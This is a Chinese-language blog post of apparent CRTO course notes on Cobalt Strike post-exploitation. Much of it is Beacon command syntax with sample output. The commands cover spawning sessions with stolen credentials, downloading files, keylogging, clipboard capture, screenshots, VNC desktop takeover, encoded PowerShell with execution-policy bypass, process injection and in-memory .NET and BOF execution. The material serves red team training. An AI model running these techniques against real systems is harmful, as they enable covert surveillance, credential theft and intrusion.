ZeroPoint Security red team ops I CRTO 7 Post Exploitation 后渗透

7.1 Post Exploitation 开发后

后期阶段是交战的核心,红队从此开始追击作战目标。 团队必须找到目标,弄清楚谁能进入,并制定进入计划,同时不能被发现。 所需的 TTP 可能包括本地和域侦察、权限升级、凭证倾倒、用户模拟和横向移动。
为促进这一过程,获得初步访问后的第一阶段之一是评估地形,也称为“态势感知”。 我们希望尽可能多地了解目前可用机器及其所处环境的信息。 这可能包括:
有没有什么有趣的文件、共享或映射硬盘?
运行的进程有哪些。 有没有什么有趣或易受攻击的软件?
AV、EDR,或者其他防御产品,比如 LAPS 或 Sysmon。
有哪些版本的.NET / PowerShell?
哪些用户登录了,他们拥有哪些权限。
有浏览器的书签或保存的凭证吗?
本地安全策略,比如 UAC 加固、SMB 签名等。
域内还有哪些其他机器。 他们提供哪些服务?
哪些用户能访问这些文件?
Cobalt Strike 提供了多种原语来确定这些信息,使用内置或第三方工具。

7.1.1 Command Behaviour 命令行为

每个信标指令都可以根据其内部运作方式进行分类。有些命令只使用 Windows API,有些在信标进程内执行代码,还有些会注入到远程进程。 操作员了解每个指挥的行为非常重要,这样他们才能评估在已知防御环境下运行可能不安全的指挥。

7.1.1.1 House-Keeping 保持运营

这些命令用于在运行时更改设置来配置信标。这些命令包括 sleep、spawnto、jobs 和 ppid。 它们通常不执行任何操作,只是更改或返回信标内存中的值。

7.1.1.2 API-Only 仅限 API

这些指令内置于信标中,是最无害的实际执行动作的命令。只调用 Win API 的命令包括 cd、cp、ls、mv、ps、pwd、rm 和 upload

7.1.1.3 Inline Execution 内联执行

Beacon 内置了一个叫 inline-execute 的命令,期望从团队服务器传递的作业数据中接收信标对象文件(BOF)。 BOF 是一个没有链接器的 C 语言程序——Beacon 会解析 BOF 并作为链接器和加载器执行内容。 BOF 的一个优点是它们运行在 Beacon 的内存空间中, 这提供了分叉后运行(下文讨论)的替代方案。 缺点是如果 BOF 内部的代码崩溃,信标也会随之死机。

一些信标命令如 dllload、getsystem 和 timetomp 是通过 BOF 实现的。 操作员也可以编写自己的 BOF 作为信标的附加功能。 BOF 可能像仅 API 命令一样操作(即只能使用本地 API),但信标还必须完成额外的工作来加载和执行 BOF。

7.1.1.4 Fork & Run 分叉与运行

“Fork & run” 用于描述一种执行模式:系统会派生(Fork)一个临时进程,并将后渗透功能模块(以反射式DLL形式编写)注入该进程。随后,该模块的输出通常通过命名管道(Named Pipe)读取。这种模式以扩大检测面为代价,为Beacon(Cobalt Strike中的通信模块)提供了更高的稳定性。

在Cobalt Strike中,“Fork & run”有两种实现方式,分别称为 “spawn” 和 “explicit”:
“spawn” 变体会按上述方式直接执行后渗透功能模块;
“explicit” 变体则会将后渗透功能模块注入到一个已存在的进程中。

部分命令仅支持以 “spawn” 变体形式运行,例如 execute-assembly 和 powerpick;部分命令仅支持 “explicit” 变体,例如 psinject;而另一些命令(如 mimikatz、portscan 和 keylogger)则两种变体均可使用。
可通过查看命令的帮助文本(help text)判断其支持的变体类型:若命令语法接受 [arch] 和 [pid] 参数,则为 “explicit” 变体;否则为 “spawn” 变体。

beacon> help execute-assembly
Use: execute-assembly [/path/to/file.exe] [arguments]  << spawn

beacon> help psinject
Use: psinject [pid] [arch] [commandlet] [arguments]    << explicit

beacon> help mimikatz
Use: mimikatz [pid] [arch] [module::command] <args>    << explicit
     mimikatz [module::command] <args>                 << spawn

“explicit”变体在需要将后渗透功能模块注入其他用户所属进程时尤为实用。例如,对其他用户拥有的进程执行 keylogger [pid] [x86|x64] 命令,即可记录其键盘输入(前提是你的Beacon具备执行注入所需的足够权限)。

7.2 Session Passing 会话传递

会话传递(Session Passing) 是一种从现有Beacon会话派生新会话的技术。例如,若你已有一个通过某监听器(如DNS)回连的Beacon,但希望使用另一个监听器(如HTTP)派生额外会话。此技术尤其适用于以下场景:当采用低频慢速通道维持长期驻留时,需切换至高速通道执行后渗透(post-ex)命令。

最直接的实现方式是使用 spawn 和 spawnas 命令。

7.2.1 spawn 派生

spawn 命令会启动一个新进程,并向其中注入针对指定监听器的 Shellcode。新派生的 Beacon 会以执行该命令的相同用户权限运行。

beacon> help spawn
Use: spawn [x86|x64] [listener]
     spawn [listener]

Spawn an x86 or x64 process and inject shellcode for the listener.

beacon> spawn x64 http
[*] Tasked beacon to spawn (x64) windows/beacon_http/reverse_http (www.bleepincomputer.com:80)
[+] host called home, sent: 350863 bytes

图片

7.2.2 spawnas 派生

spawnas 命令功能类似,但它接受其他用户的明文凭据作为参数。新派生的 Beacon 将以该替代用户身份运行。

beacon> help spawnas
Use: spawnas [DOMAIN\user] [password] [listener]

Attempt to spawn a payload as another user. If you don't specify DOMAIN,
Beacon will try to authenticate as a local user.

This command will usually fail if you're in a SYSTEM context. Use make_token
to create a token to pass the desired credentials instead.

帮助文本通常非常有用,因为它们会明确指出命令的注意事项。spawnas 的帮助信息表明,当从以 SYSTEM 身份运行的 Beacon 中执行时,该命令可能无法正常工作。这类限制通常源于底层 Windows API 的运行机制。

在派生新进程时需特别注意的一个问题是 Beacon 的当前工作目录。例如,尝试使用备用凭据派生新 Beacon 时,若因工作目录配置不当会导致操作失败,并返回错误代码 267。

beacon> spawnas CONTOSO\rsteel Passw0rd! tcp-local
[*] Tasked beacon to spawn windows/beacon_bind_tcp (127.0.0.1:1337) as CONTOSO\rsteel
[-] could not run C:\Windows\system32\rundll32.exe as CONTOSO\rsteel: 267

beacon> windows_error_code 267
ERROR_DIRECTORY, STATUS_NOTIFY_CLEANUP

此问题是由于 Beacon 的当前工作目录被设置为 pchild 用户拥有的目录,而当前用户 rsteel 无权访问该目录所致。

beacon> pwd
[*] Current directory is C:\Users\pchilds\Documents

针对此问题的解决方案非常简单:只需将 Beacon 的工作目录更改为 rsteel 用户有权访问的路径即可。

beacon> cd C:\
beacon> spawnas CONTOSO\rsteel Passw0rd! tcp-local

图片

7.3 File System 文件系统

与本地文件系统交互是最基础的枚举形式之一。当不带参数执行 ls 命令时,系统会列出当前工作目录下的所有文件和子目录。

beacon> ls
[*] Listing: C:\\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     02/14/2025 13:51:00   $Recycle.Bin
          dir     03/27/2025 14:09:13   $WinREAgent
          dir     02/06/2025 20:39:37   Documents and Settings
          dir     12/07/2019 09:14:52   PerfLogs
          dir     03/24/2025 12:34:54   Program Files
          dir     03/24/2025 12:23:53   Program Files (x86)
          dir     03/24/2025 12:15:24   ProgramData
          dir     02/14/2025 13:40:08   Recovery
          dir     02/06/2025 20:39:45   System Volume Information
          dir     03/27/2025 14:23:12   Users
          dir     03/24/2025 12:15:02   Windows
 8kb      fil     03/27/2025 07:06:27   DumpStack.log.tmp
 1gb      fil     03/27/2025 07:06:27   pagefile.sys
 256mb    fil     03/27/2025 07:06:27   swapfile.sys

提供路径后,目标目录会被列出。这可以是绝对路径或相对路径:

beacon> ls C:\Users
[*] Listing: C:\Users\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     12/07/2019 09:30:39   All Users
          dir     03/24/2025 12:22:38   Default
          dir     12/07/2019 09:30:39   Default User
          dir     02/07/2025 14:54:49   pchilds
          dir     02/06/2025 20:41:37   Public
          dir     03/27/2025 14:23:13   rsteel
 174b     fil     12/07/2019 09:12:42   desktop.ini

beacon> ls Users
[*] Listing: Users\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     12/07/2019 09:30:39   All Users
          dir     03/24/2025 12:22:38   Default
          dir     12/07/2019 09:30:39   Default User
          dir     02/07/2025 14:54:49   pchilds
          dir     02/06/2025 20:41:37   Public
          dir     03/27/2025 14:23:13   rsteel
 174b     fil     12/07/2019 09:12:42   desktop.ini

使用 drives 命令检查目标主机是否存在其他磁盘分区或可挂载存储设备。

7.3.1 File Browser 文件浏览器

另一种与文件系统交互的方式是通过文件浏览器(File Browser)。可通过执行 file_browser 命令启动,或在 Beacon 的表格/图形视图界面中右键单击后选择【Explore】>【File Browser】。首次加载的目录默认为当前工作目录。
图片

灰色显示的目录表示尚未被访问过。若需深入查看目录内容,可在中央视图区域双击该目录,或在左侧驱动器视图区域单击。文件浏览器的所有操作均通过 Beacon 异步执行,因此数据加载速度受限于当前会话的回连周期(Check-in Time)。

文件浏览器在保持打开状态时会持续缓存所有已枚举的数据。若关闭当前标签页,所有缓存数据将被立即清除;重新打开新标签页时,不会继承之前会话中收集的任何数据。

7.4 Downloading Files 下载文件

可通过 download 命令从目标系统中下载文件。命令语法为 download [文件路径],其中 [文件路径] 支持绝对路径(如 C:\Windows\System32\config\SAM)或相对路径(如 ../etc/passwd)。

beacon> download C:\Users\pchilds\Desktop\desktop.ini
[*] started download of C:\Users\pchilds\Desktop\desktop.ini (282 bytes)
[*] download of desktop.ini is complete

文件也可以通过右键点击并选择 “下载 ”从文件浏览器下载。

文件内容通过 C2 通道传输至团队服务器(与 Beacon 发送任务输出的方式相同)。因此,文件下载速度取决于外联 Beacon 与团队服务器通信所使用的协议,以及 Beacon 的休眠时间。例如,使用 DNS A 记录的 Beacon 下载文件所需时间远长于使用 HTTP POST 请求的 Beacon。

要查看仍在进行的下载任务,请运行 downloads 命令。该命令将显示当前运行中的下载任务摘要,包括总文件大小及已接收的数据量。若需终止正在进行的下载,可使用 cancel 命令。

由于文件会先下载至团队服务器,因此不会直接出现在运行 Cobalt Strike 客户端的机器上。若需查看下载的文件,请通过菜单栏选择 “View(视图) > Downloads(下载)”。
图片

在此界面中,选择目标文件后点击“Sync Files”(同步文件)。系统将弹出对话框,允许您将文件保存至本地磁盘。此外,您也可通过“Delete Files”(删除文件)按钮从团队服务器移除文件。需注意,所有连接到团队服务器的操作员均可查看(或删除)已下载的任意文件。

7.5 Processes 进程

使用 ps 命令列出正在运行的进程。返回的信息包括进程 ID(PID)、父进程 PID、进程架构(x64 或 x86)、会话 ID 以及运行该进程的用户。输出结果主要按 PID 排序,其次按其子进程的 PID 排序。例如,以下输出显示 registry(PID 88)、smss.exe(PID 308)和 Memory Compression(PID 2052)均为 System(PID 4)的子进程。

beacon> ps
[*] Process List

[*] This Beacon PID:    YELLOW 6400  
 PID   PPID  Name                                   Arch  Session     User
 ---   ----  ----                                   ----  -------     ----
 0     0     [System Process]                                         
 4     0         System                                               
 88    4             Registry                                         
 388   4             smss.exe                                         
 2052  4             Memory Compression      

除非你的 Beacon 以高完整性级别运行,否则你将无法读取非自身进程的架构、会话或用户信息。相关内容详见“权限提升”章节。

7.5.1 Process Browser 进程浏览器

与文件浏览器类似,Cobalt Strike 提供了进程浏览器功能,可通过 process_browser 命令或菜单栏中的 Explore > Process List 访问。
图片

7.6 Keylogger 键盘记录器

Cobalt Strike 的键盘记录器会记录目标进程所有者用户的按键操作(该进程已被注入后渗透功能模块)。

beacon> help keylogger
Use: keylogger [pid] [x86|x64]
     keylogger

Inject a keystroke logger into the specified process.

Use keylogger with no arguments to spawn a temporary process and inject the 
keystroke logger into it.

To terminate this task: use jobs to find the job ID. Use jobkill to kill it.

输出内容不会直接显示在 Beacon 控制台中,而是通过菜单栏的 View > Keystrokes 访问专用标签页查看。
图片

您可右键单击某一行数据,选择 Save 将输出内容同步保存至本地计算机的文本文件,或选择 Delete 彻底删除该记录。

键盘记录器以长期任务形式运行,可通过 jobs 命令查看任务状态,并使用 jobkill 命令终止其运行。

beacon> jobs
[*] Jobs

 JID  PID   Description
 ---  ---   -----------
 0    3020  keystroke logger

beacon> jobkill 0
[+] job 0 completed

7.7 Clipboard 剪贴板

可通过 clipboard 命令读取用户剪贴板内容。若内容为文本,则直接输出至 Beacon 控制台。

beacon> help clipboard
Use: clipboard

Attempts to get text clipboard contents

beacon> clipboard
[*] Tasked beacon to get clipboard contents
Clipboard Data (22 bytes):
MySup3rS3cr3tPassw0rd!

7.8 Registry 注册

Beacon 可通过 reg 命令查询本地注册表。使用 reg query 列出指定路径下的所有子项和键值,或使用 reg queryv 读取特定键的值。

beacon> help reg
Use: reg query  [x86|x64] [root\path]
     reg queryv [x86|x64] [root\path] [subkey]

Use 'query' to query a key within the registry. Lists all subkeys and values.

Use 'queryv' to query a subkey within the registry. Lits only the subkey and 
its value.

Use HKLM, HKCR, HKCC, HKCU, or HKU for the root.

Specify x86|x64 to force a specific view of the registry.

例如,阅读本地政策数据:

beacon> reg query x64 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

ConsentPromptBehaviorAdmin 5
ConsentPromptBehaviorUser 3
DSCAutomationHostEnabled 2
EnableCursorSuppression  1
EnableFullTrustStartupTasks 2
EnableInstallerDetection 1
EnableLUA                1
EnableSecureUIAPaths     1
EnableUIADesktopToggle   0
EnableUwpStartupTasks    2
EnableVirtualization     1
PromptOnSecureDesktop    1
SupportFullTrustStartupTasks 1
SupportUwpStartupTasks   1
ValidateAdminCodeSignatures 0
dontdisplaylastusername  0
legalnoticecaption       
legalnoticetext          
scforceoption            0
shutdownwithoutlogon     1
undockwithoutlogon       1
LocalAccountTokenFilterPolicy 1
Audit\
Kerberos\
UIPI\

或者针对特定关键键:

beacon> reg queryv x64 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin
ConsentPromptBehaviorAdmin 5

7.9 Screenshots 截图

Beacon 可以通过几种方式截取目标桌面的画面。

7.9.1 printscreen 印刷屏

第一种方式是通过 printscreen 命令实现。该命令会向用户键盘模拟发送 PrintScr 键按下事件,将屏幕截图副本保存至剪贴板。随后,Beacon 从剪贴板中提取数据,并将输出结果回传至攻击者控制端。建议谨慎使用此功能。

beacon> help printscreen
Use: printscreen [pid] [x86|x64]
     printscreen

Inject a screenshot tool into the specified process.

Use printscreen with no arguments to spawn a temporary process and inject the 
screenshot tool into it.

Printscreen forces a PrintScr keypress and grabs the screenshot from the
clipboard. It then exits. This command will clear the clipboard contents after
its done.

No long-running variant of this exists because... let's face it... nuking the
clipboard periodically is probably not good OPSEC.

7.9.2 screenshot 截图

第二种方式是通过 screenshot 命令实现。该命令利用后渗透阶段(Post-Exploitation)的动态链接库(DLL),直接捕获屏幕内容,无需依赖剪贴板。

beacon> help screenshot
Use: screenshot [pid] [x86|x64]
     screenshot

Inject a screenshot tool into the specified process.

Use screenshot with no arguments to spawn a temporary process and inject the 
screenshot tool into it.

Screenshot takes a picture of the visible desktop and exits.

screenshot 命令还可通过以下两种方式执行:
右键单击 Beacon 对象,选择 Explorer > Screenshot;
在 Process Explorer 窗口中选中目标进程,点击 Screenshot 按钮。

7.9.3 screenwatch 屏幕观察

screenwatch 命令提供了一种自动连续截取屏幕的功能。

beacon> help screenwatch
Use: screenwatch [pid] <x86|x64>
     screenwatch

Inject a screen watcher tool into the specified process.

Use screenwatch with no arguments to spawn a temporary process and inject the 
screen watch tool into it.

Screenwatch sends a screenshot of the user's desktop (one per Beacon check-in)
until terminated. If the user is idle, the screen watch tool will take a new
screenshot every three minutes.

To terminate this task: use jobs to find the job ID. Use jobkill to kill it.

截图频率与 Beacon 的休眠时间(sleep time)直接关联。若需每 5 秒截取一次屏幕,执行 sleep 5 命令;若需每分钟截取一次,则执行 sleep 60;以此类推。

在所有场景下,截取的屏幕画面均会被传输至专用标签页,用户可通过菜单栏的【查看(View)】>【屏幕截图(Screenshots)】路径访问。
图片

用户可通过右键单击某一行记录,选择【保存(Save)】将截图副本下载至本地计算机,或选择【删除(Delete)】彻底移除该截图。此外,右键单击截图图像本身可调整其缩放比例。

7.10 VNC

Cobalt Strike 还可注入完整的反射式 VNC 动态链接库(DLL),以实现对用户桌面的远程控制。攻击者可通过执行 desktop 命令或访问菜单栏中的【探索(Explore)】>【桌面(Desktop,VNC)】路径发起控制。

beacon> help desktop
Use: desktop [pid] [x86|x64] [high|low]
     desktop [high|low]

Injects a VNC server onto the target and connects to it. You may specify
whether or not the session is high or low-quality.

beacon> desktop high
[*] Tasked beacon to spawn VNC server
[+] started port forward on 5117 to 127.0.0.1:5117

此操作将在目标主机上创建反向端口转发,VNC 动态链接库(DLL)将利用该通道将流量回传至团队服务器(Team Server)。同时,团队服务器会监听同一端口,等待 Cobalt Strike 客户端接入。
图片

会话默认处于“仅查看”模式,但操作人员可通过窗口底部的按钮获取键盘与鼠标的远程控制权限。关闭此标签页将自动解除端口绑定。

7.11 Execution Commands 执行命令

Shell 交互与命令执行功能允许操作人员在目标主机上运行任意命令并获取输出结果。

7.11.1 shell

Shell 命令可用于执行操作,其效果与通过常规命令提示符(CMD/终端)执行命令完全一致。

beacon> help shell
Use: shell [command] [arguments]

Execute the command using cmd.exe

该机制通过 cmd.exe /c 传递用户提供的命令及参数,因此执行 shell whoami /user 时,实际在目标主机上运行的是 cmd.exe /c whoami /user。

beacon> shell whoami /user

USER INFORMATION
----------------

User Name   SID                                         
=========== ============================================
dev\bfarmer S-1-5-21-569305411-121244042-2357301523-1104

7.11.2 run

run 命令不会调用 cmd.exe,而是直接执行目标程序。

beacon> help run
Use: run [program] [arguments]

Execute the program. Returns output.

beacon> run whoami /user

USER INFORMATION
----------------

User Name   SID                                         
=========== ============================================
dev\bfarmer S-1-5-21-569305411-121244042-2357301523-1104

两者输出结果相同,但工作机制不同。您可根据这些行为差异,或在模拟特定威胁行为体时选择其一。例如,dir 等命令仅适用于 shell,因为 dir 是 cmd.exe 内置的命令,而非磁盘上的独立程序;而 whoami 是位于 System32 目录下的独立程序,因此同时支持 shell 和 run 执行。

一般而言,以这种方式执行命令和程序被视为糟糕的作战安全(OPSEC)实践。Beacon 提供了许多仅限 API 的命令,旨在替代此类命令的执行需求。例如,建议使用 ls 替代 dir,使用 getuid 替代 whoami。

7.12 Executing Custom Tools 自定义工具的执行

在渗透测试或红队行动中,可利用的商业及开源工具数不胜数。其中一些典型工具包括:用于本地侦察的 Seatbelt、用于域环境侦察的 PowerView、用于滥用 ADCS(Active Directory 证书服务)的 Certipy 与 Certify、用于 Kerberos 协议攻击的 Rubeus,以及用于横向移动、凭证转储与中继的 Impacket。部分工具需直接在目标系统上执行,而另一些则可通过网络远程操作。本课程将聚焦前者(直接执行工具),后者(网络操作工具)请参见“网络 pivoting(跳板)技术”章节。

Beacon 提供了在内存中直接执行 PowerShell 脚本、.NET 程序集及反射式 DLL 的能力,从而为操作人员提供最大限度的灵活性。

7.12.1 powershell

在 Beacon 中执行 PowerShell 有三种方式。第一种是通过 powershell 命令直接调用。

beacon> help powershell
Use: powershell [commandlet] [arguments]

Execute the command using powershell. Any cmdlets from the
last use of powershell-import are available here too.

该方法调用 powershell.exe 执行,因此在功能上大致等同于直接使用 shell 命令(后者调用的是 cmd.exe)。

beacon> powershell $env:computername
LON-WKSTN-1

您指定的 cmdlet 及其参数会在执行前被转换为编码命令。因此,上述命令的实际执行形式为:powershell -nop -exec bypass -EncodedCommand JABlAG4AdgA6AGMAbwBtAHAAdQB0AGUAcgBuAGEAbQBlAA==。攻击者可通过 Aggressor 脚本中的钩子(hooks)修改此行为。

7.12.2 powerpick

beacon> help powerpick
Use: powerpick [commandlet] [arguments]
     powerpick "[PATCHES: [patch-rule] [patch-rule] [patch-rule] [patch-rule]]" [commandlet] [arguments]

Execute the command using Unmanaged PowerShell. Any cmdlets from the
last use of powershell-import are available here too.

该命令通过调用非托管(Unmanaged)PowerShell 实例,直接访问底层 PowerShell API,而无需依赖 powershell.exe 进程。此技术基于 Lee Christensen 的 UnmanagedPowerShell 项目实现。其核心逻辑为:通过“派生并运行”(fork-and-run)机制启动 Beacon 的目标派生进程(spawnto),将非托管 PowerShell 的动态链接库(DLL)注入该进程,并通过命名管道(Named Pipe)读取执行结果。

https://github.com/leechristensen/UnmanagedPowerShell

7.12.3 PsInject

beacon> help psinject
Use: psinject [pid] [arch] [commandlet] [arguments]

Inject Unmanaged PowerShell into a specific process and execute the
specified command. Any cmdlets from the last use of powershell-import are 
available here too.

该技术与 powerpick 的工作原理类似,但允许攻击者将非托管 DLL 注入到现有进程中,而非创建新进程。若具备向目标用户进程注入的权限,此方法可用于在其他用户上下文中运行 PowerShell 脚本,从而规避部分权限检测或实现权限提升。

beacon> psinject 3020 x64 $PID
[*] Tasked beacon to psinject: $PID into 3020 (x64)

3020

7.12.4 Importing PowerShell Scripts 导入 PowerShell 脚本

若要执行外部 PowerShell 脚本,需先使用 powershell-import 命令将其导入。

beacon> help powershell-import
Use: powershell-import [/path/to/local/script.ps1]

Import a powershell script which is combined with future
calls to the powershell command. You may only use one
imported script at a time.

例如,要导入 PowerView,我们会这样做:

beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1

此路径为运行 Cobalt Strike 客户端的本地机器路径,而非 Beacon 运行的目标主机路径。

在运行 powershell、powerpick 和 psinject 命令时,导入的脚本内容会自动加载至 PowerShell 会话中。Beacon 通过内置微型 Web 服务器托管脚本,并在执行期间动态获取并注入该脚本。

beacon> powerpick Get-Domain

Forest                  : contoso.com
DomainControllers       : {lon-dc-1.contoso.com}
Children                : {}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  : 
PdcRoleOwner            : lon-dc-1.contoso.com
RidRoleOwner            : lon-dc-1.contoso.com
InfrastructureRoleOwner : lon-dc-1.contoso.com
Name                    : contoso.com

7.12.5 .NET

execute-assembly 命令通过反射式 DLL 加载并托管 CLR(公共语言运行时),随后从内存中直接执行 .NET 程序集。该功能仅支持 .NET Framework 程序集(即不支持 .NET/.NET Core)。

beacon> help execute-assembly
Use: execute-assembly [/path/to/file.exe] [arguments]
Use: execute-assembly "[PATCHES: [patch-rule] [patch-rule] [patch-rule] [patch-rule]]" [/path/to/file.exe] [arguments]

Executes a local .NET process assembly on target. This command loads the CLR in a temporary
process and loads the assembly into it. If the assembly is in the data store, this command will
use the loaded item automatically. For more information (help data-store).

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe AntiVirus

====== AntiVirus ======

  Engine                         : Windows Defender
  ProductEXE                     : windowsdefender://
  ReportingEXE                   : %ProgramFiles%\Windows Defender\MsMpeng.exe

[*] Completed collection in 0.181 seconds

7.12.6 BOFs

BOF(Binary Object Files)是微型目标文件,可由 Beacon 加载并执行,并通过 inline-execute 命令触发运行。

beacon> help inline-execute
Use: inline-execute [/path/to/file.o] [args]

Run a Beacon Object File in this Beacon session. A Beacon Object File is a 
C program, compiled as an object file, written to use conventions specified 
in the Cobalt Strike documentation. If the Beacon Object File is in the data
store, this command will use the loaded item automatically. For more
information (help data-store).

然而,更常见的做法是将 BOF 工具封装为独立的命令别名。例如,TrustedSec 的「态势感知 BOF 项目」包含多个 BOF 模块,这些模块通过内置的 Aggressor 脚本以自定义命令的形式对外暴露。
https://github.com/trustedsec/CS-Situational-Awareness-BOF

例如,它的 ipconfig 命令可以替代运行 shell ipconfig

beacon> ipconfig

{8566281E-2B05-48AC-9D59-F18E427FCAB6}
	Ethernet
	Microsoft Hyper-V Network Adapter
	02-15-5D-10-BD-E0
	10.10.120.112
Hostname: 	lon-wkstn-1
DNS Suffix: 	contoso.com
DNS Server: 	10.10.120.1

在底层实现中,Aggressor 脚本通过以下命令执行 BOF 操作:

beacon_inline_execute($1, readbof($1, "ipconfig", $null, "T1016"), "go", $null);
posted @ 2026-04-18 21:15  sec875  阅读(7)  评论(0)    收藏  举报